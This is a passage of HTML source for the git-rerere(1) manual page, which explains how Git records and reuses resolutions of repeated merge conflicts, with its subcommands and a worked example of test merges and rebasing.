dynamically generated links as visited. */ div#toc a:visited { color: blue; } </style> </head> <body> <div id="header"> <h1> git-rerere(1) Manual Page </h1> <h2>NAME</h2> <div class="sectionbody"> <p>git-rerere - Reuse recorded resolution of conflicted merges </p> </div> </div> <h2 id="_synopsis">SYNOPSIS</h2> <div class="sectionbody"> <div class="paragraph"><p><em>git rerere</em> [<em>clear</em>|<em>diff</em>|<em>status</em>|<em>gc</em>]</p></div> </div> <h2 id="_description">DESCRIPTION</h2> <div class="sectionbody"> <div class="paragraph"><p>In a workflow employing relatively long lived topic branches, the developer sometimes needs to resolve the same conflicts over and over again until the topic branches are done (either merged to the "release" branch, or sent out and accepted upstream).</p></div> <div class="paragraph"><p>This command assists the developer in this process by recording conflicted automerge results and corresponding hand resolve results on the initial manual merge, and applying previously recorded hand resolutions to their corresponding automerge results.</p></div> <div class="admonitionblock"> <table><tr> <td class="icon"> <div class="title">Note</div> </td> <td class="content">You need to set the configuration variable rerere.enabled in order to enable this command.</td> </tr></table> </div> </div> <h2 id="_commands">COMMANDS</h2> <div class="sectionbody"> <div class="paragraph"><p>Normally, <em>git rerere</em> is run without arguments or user-intervention. However, it has several commands that allow it to interact with its working state.</p></div> <div class="dlist"><dl> <dt class="hdlist1"> <em>clear</em> </dt> <dd> <p> This resets the metadata used by rerere if a merge resolution is to be aborted. Calling <em>git am [--skip|--abort]</em> or <em>git rebase [--skip|--abort]</em> will automatically invoke this command. </p> </dd> <dt class="hdlist1"> <em>diff</em> </dt> <dd> <p> This displays diffs for the current state of the resolution. It is useful for tracking what has changed while the user is resolving conflicts. Additional arguments are passed directly to the system <em>diff</em> command installed in PATH. </p> </dd> <dt class="hdlist1"> <em>status</em> </dt> <dd> <p> Like <em>diff</em>, but this only prints the filenames that will be tracked for resolutions. </p> </dd> <dt class="hdlist1"> <em>gc</em> </dt> <dd> <p> This prunes records of conflicted merges that occurred a long time ago. By default, unresolved conflicts older than 15 days and resolved conflicts older than 60 days are pruned. These defaults are controlled via the <tt>gc.rerereunresolved</tt> and <tt>gc.rerereresolved</tt> configuration variables respectively. </p> </dd> </dl></div> </div> <h2 id="_discussion">DISCUSSION</h2> <div class="sectionbody"> <div class="paragraph"><p>When your topic branch modifies an overlapping area that your master branch (or upstream) touched since your topic branch forked from it, you may want to test it with the latest master, even before your topic branch is ready to be pushed upstream:</p></div> <div class="listingblock"> <div class="content"> <pre><tt> o---*---o topic / o---o---o---*---o---o master</tt></pre> </div></div> <div class="paragraph"><p>For such a test, you need to merge master and topic somehow. One way to do it is to pull master into the topic branch:</p></div> <div class="listingblock"> <div class="content"> <pre><tt> $ git checkout topic $ git merge master o---*---o---+ topic / / o---o---o---*---o---o master</tt></pre> </div></div> <div class="paragraph"><p>The commits marked with <tt>*</tt> touch the same area in the same file; you need to resolve the conflicts when creating the commit marked with <tt>+</tt>. Then you can test the result to make sure your work-in-progress still works with what is in the latest master.</p></div> <div class="paragraph"><p>After this test merge, there are two ways to continue your work on the topic. The easiest is to build on top of the test merge commit <tt>+</tt>, and when your work in the topic branch is finally ready, pull the topic branch into master, and/or ask the upstream to pull from you. By that time, however, the master or the upstream might have been advanced since the test merge <tt>+</tt>, in which case the final commit graph would look like this:</p></div> <div class="listingblock"> <div class="content"> <pre><tt> $ git checkout topic $ git merge master $ ... work on both topic and master branches $ git checkout master $ git merge topic o---*---o---+---o---o topic / / \ o---o---o---*---o---o---o---o---+ master</tt></pre> </div></div> <div class="paragraph"><p>When your topic branch is long-lived, however, your topic branch would end up having many such "Merge from master" commits on it, which would unnecessarily clutter the development history. Readers of the Linux kernel mailing list may remember that Linus complained about such too frequent test merges when a subsystem maintainer asked to pull from a branch full of "useless merges".</p></div> <div class="paragraph"><p>As an alternative, to keep the topic branch clean of test merges, you could blow away the test merge, and keep building on top of the tip before the test merge:</p></div> <div class="listingblock"> <div class="content"> <pre><tt> $ git checkout topic $ git merge master $ git reset --hard HEAD^ ;# rewind the test merge $ ... work on both topic and master branches $ git checkout master $ git merge topic o---*---o-------o---o topic / \ o---o---o---*---o---o---o---o---+ master</tt></pre> </div></div> <div class="paragraph"><p>This would leave only one merge commit when your topic branch is finally ready and merged into the master branch. This merge would require you to resolve the conflict, introduced by the commits marked with <tt>*</tt>. However, this conflict is often the same conflict you resolved when you created the test merge you blew away. <em>git rerere</em> helps you resolve this final conflicted merge using the information from your earlier hand resolve.</p></div> <div class="paragraph"><p>Running the <em>git rerere</em> command immediately after a conflicted automerge records the conflicted working tree files, with the usual conflict markers <tt><<<<<<<</tt>, <tt>=======</tt>, and <tt>>>>>>>></tt> in them. Later, after you are done resolving the conflicts, running <em>git rerere</em> again will record the resolved state of these files. Suppose you did this when you created the test merge of master into the topic branch.</p></div> <div class="paragraph"><p>Next time, after seeing the same conflicted automerge, running <em>git rerere</em> will perform a three-way merge between the earlier conflicted automerge, the earlier manual resolution, and the current conflicted automerge. If this three-way merge resolves cleanly, the result is written out to your working tree file, so you do not have to manually resolve it. Note that <em>git rerere</em> leaves the index file alone, so you still need to do the final sanity checks with <tt>git diff</tt> (or <tt>git diff -c</tt>) and <em>git add</em> when you are satisfied.</p></div> <div class="paragraph"><p>As a convenience measure, <em>git merge</em> automatically invokes <em>git rerere</em> upon exiting with a failed automerge and <em>git rerere</em> records the hand resolve when it is a new conflict, or reuses the earlier hand resolve when it is not. <em>git commit</em> also invokes <em>git rerere</em> when committing a merge result. What this means is that you do not have to do anything special yourself (besides enabling the rerere.enabled config variable).</p></div> <div class="paragraph"><p>In our example, when you do the test merge, the manual resolution is recorded, and it will be reused when you do the actual merge later with the updated master and topic branch, as long as the recorded resolution is still applicable.</p></div> <div class="paragraph"><p>The information <em>git rerere</em> records is also used when running <em>git rebase</em>. After blowing away the test merge and continuing development on the topic branch:</p></div> <div class="listingblock"> <div class="content"> <pre><tt> o---*---o-------o---o topic / o---o---o---*---o---o---o---o master $ git rebase master topic o---*---o-------o---o topic / o---o---o---*---o---o---o---o master</tt></pre> </div></div> <div class="paragraph"><p>you could run <tt>git rebase master topic</tt>, to bring yourself up-to-date before your topic is ready to be sent upstream. This would result in falling back to a three-way merge, and it would conflict the same way as the test merge you resolved earlier. <em>git rerere</em> will be run by <em>git rebase</em> to help you resolve this conflict.</p></div> </div> <h2 id="_author">Author</h2> <div class="sectionbody"> <div class="paragraph"><p>Written by Junio C Hamano <<a href="mailto:gitster@pobox.com">gitster@pobox.com</a>></p></div> </div> <h2 id="_git">GIT</h2> <div class="sectionbody"> <div class="paragraph"><p>Part of the <a href="git.html">git(1)</a> suite</p></div> </div> <div id="footer"> <div id="footer-text"> Last updated 2010-04-24 02:38:35 UTC </div> </div> </body> </html>
Close